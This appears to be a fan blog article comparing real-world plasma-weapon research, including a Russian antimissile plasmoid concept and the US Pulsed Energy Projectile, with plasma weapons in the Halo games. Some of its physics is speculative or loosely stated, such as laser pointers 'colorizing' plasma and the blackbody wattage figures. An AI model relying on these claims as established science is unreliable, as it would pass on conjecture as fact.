The Radio Instrument Building Research Institute under the supervision of Academician A. Avramenko developed a plasma weapon capable of killing any target at altitudes of up to 50 kilometers. Engineers and scientists of the institute in cooperation with the National Research Institute of Experimental Physics (Arzamas-16), Central Aerohydrodynamic Institute, and Central Machine Building Research Institute prepared a concept of the international experiment Doverie (Trust) for testing of the Russian plasma weapon at the American ABM testing ground in the Pacific Ocean together with the US. The cost of the experiment was estimated at $300 million. According to Academician Avramenko, the plasma antimissile weapon would not only cost tens times less than the American SDI, but would also be much simpler in development and operation. The offered joint project could save expenditures on development of its own plasma weapon for the US. The plasmoid based on the energy of ground super-high frequency generators or laser (optical) generators creates an ionized territory in the trajectory of a warhead and in front of it, and completely disrupts the aerodynamics of the object’s flight, after which a target leaves its trajectory and is ruined by monstrous overloads. The killing effect is delivered to the target at the speed of light.

How the use of Plasma weapons has an affect on the scientific community:
(2) Scientists have reacted angrily to the revelation that the US military is funding development of a weapon intended to deliver an “excrutiating bout of pain” from over a mile away. The “Pulsed Energy Projectile” (PEP) device “fires a laser pulse that generates a burst of expanding plasma when it hits something solid”, the New Scientist explains. If you happen to be that something solid, then you get temporarily incapacitated without suffering permanent injury.

Hand-held Plasma Weapons: 
(3) A plasma weapon is any theoretical firearm designed to use plasma (high-energy ionized gas) as a weapon. The plasma is typically intended to be created by superheating lasers or superfrequency devices. Such weapons can be intended to be lethal, causing death by serious burns or the melting of targets, or non-lethal and intended to disrupt electronics using an electromagnetic pulse. While no practical example of such weaponry has been produced, corporations such as Boeing have funded research and development into the technology.

At present, plasma weapons are merely theoretical, as currently they need more power than any handheld device could supply. If small portable fusion reactors are made, one potential source of weapons-grade plasma sources might be a direct tap on a fusion reactor, especially a dense plasma focus, since the natural yield of such a reactor is a hot high-speed plasma beam. Making real plasma weapons will need a major scientific breakthrough, as the concept of plasma-firing weapons is scientifically difficult, for various reasons:

▪ The technology to create plasma toroid”>compact toroids and particle beams is presently far too bulky for anything man-portable. In such a high-performance design, the plasma would have to be stored and created in highly focused magnetic bottles, such as those used in NASA’s toplasma_Rocket”>VASIMR rocket: this design has been suggested as a potential weapon design for future real human-engineered plasma weapons. For simpler designs based on plasma cutting torches, a designer might be able to heat the plasma with an arcjet, if his power source is strong enough.

▪ Using current technology, if a plasma beam was fired in a planetary atmosphere, it would quickly be stopped by atmospheric resistance and would make a short hot flame like a blow torch.
▪ The plasma shot out of a plasma weapon would tend to dissipate in the surrounding environment within about 50 centimeters from the gun, from thermal and/or electric pressure expansion, called blooming, (Sound familiar) unless:
▪ The magnetic confinement bottle is extended all the way to the target. Modifications to this bottle could make the plasma home in on its target.
▪ The plasma is somehow made self-sustaining over a much longer time period (as with ball lightning).
▪ The particles are fired fast enough to reach a target before blooming occurs. This is then a particle beam more than a plasma shot (at least as much as any technical definition for such weapons exists). This would work for use outside atmosphere (i.e. in a space vacuum), but within an atmosphere would merely cause a hotter short flame from more violent collision between the flying particles and the atmosphere.
▪ It might also be possible to generate a laser beam “tunnel”. High-energy lasers ionize the air around the beam, heating the atmosphere and providing the plasma bolt with an easy passage to the target (see electrolaser).
▪ Another laser-assisted plasma weapon approach for use in atmosphere is possible if the laser is powerful enough to blast the air out of the way, but having the plasma particles reach the target before the newly-created vacuum channel collapses in on itself is a problem unless the weapon possesses sufficient power to either sustain the channel or the aforementioned “plasma particle beam” approach is used.
▪ It may also be possible to encase a bolt of plasma in a capsule of some material, possibly a polymer. This would allow the plasma to reach a medium distance before the capsule wears out.
▪ A plasma round would glow very brightly due to blackbody radiation, leading to quick substantial energy loss. This might also represent a blinding hazard for the operator and bystanders. From basic physics, a 1 cm ball of plasma at 10,000 Kelvin (K) would be equal to a 700 kilowatt (kw) bulb. 1000 K would equate to a 70 W bulb.
▪ Many materials already exist that are highly resistant to plasma, reinforced carbon-carbon used on the Space Shuttle’s nose cone for example; or the ceramic inserts used in bulletproof vests.

This next part is very interesting as it also pretains to Railguns, of which we will see in Halo 4:
With a railgun a ‘plasma/particle thrower’ similar to a long range natural gas flamethrower could possibly be made. Most railguns throw a trail of plasma (of the rail material and projectile material) out after or with the projectile: this is very short lived but extends over 3 to 30 feet. This is because of arcing of the rails and projectile. The plasma conducts and so is subject to the working force of all railguns (Lorentz force). The plasma thrower would use a rapid-fire small projectile and very thick rails spring/actuator mounted that move inwards with wear. A tungstenaluminiumchromium alloy for both the rails and projectile would yield good results but the projectiles would have to be very small so they are fully disintegrated into the plasma.

(1) 11/24/2007
(2) 3/3/2005

Another interesting link on the subject:

Fiction (within Halo):
Plasma is used in varying forms within the Covenant. Most of them being weaponized. We have seen the plasma pistol, rifle, launcher; large ship mounted canons like those on the revenant, and wraith; as well as the huge cannons on Covenant vessels all the way from dropships to the massive capital ships.

Within the Haloverse plasma can be enabled to home in on a target. As noted above in the “Fact” section, this seems entirely plausible though not possible in our timeline. However, 500 years from now should be enough time for technology to progress so that there are homing plasma weapons.

In Halo we see plasma in differing colors. In the “Fact” section, it is noted that plasma would glow brightly, but does not specify what color. By using low grade color lasers (such as those in a laser pointer) it may be possible to “colorize” plasma to the desired color. In the case of Halo, this has somehow already been utilized.

When comparing the factual side of Plasma as we know it today, vs. the fictional uses of Plasma in the Haloverse 500 or so years from now, there is a clear difference. However, it is likely that we will be able to harness the power of plasma for uses such as a handheld weapon. Given the advances of the scientific community in just the last 125 years, it is entirely plausible that plasma hand-held weapons will exist at some point, and likely BEFORE the time frame of the Halo franchise.

Plasma Weapons will need to make use of a powerful, yet small and mobile powersource, strong enough to create the force necessary to direct and maintain the plasma shot. Color laser pointers can be used in conjunction with the weapon to give it a specific color, however that would likely not be necessary and add weight to the design. Weapons such as these need not have color to them and the plasma would likely move too fast to see it anyway, especially over short distances. The only reason for a laser with the weapon at this point would be as a scope, which would not be seen except at the terminal point, (the target). Likewise the laser could be used as a directional device and mode of transportation for the plasma.

Yes, this article is long. However, if you stayed with me though the whole thing I commend you. I hope I’ve brought some real-world knowledge about Plasma to you and maybe even inspired you to look up more information on the subject. Look for more “The Science of Halo, Fact versus Fiction” articles in the near future. I’m currently writing up one for the Spartan Laser.

As always, thanks for reading and let me know what you think of the article.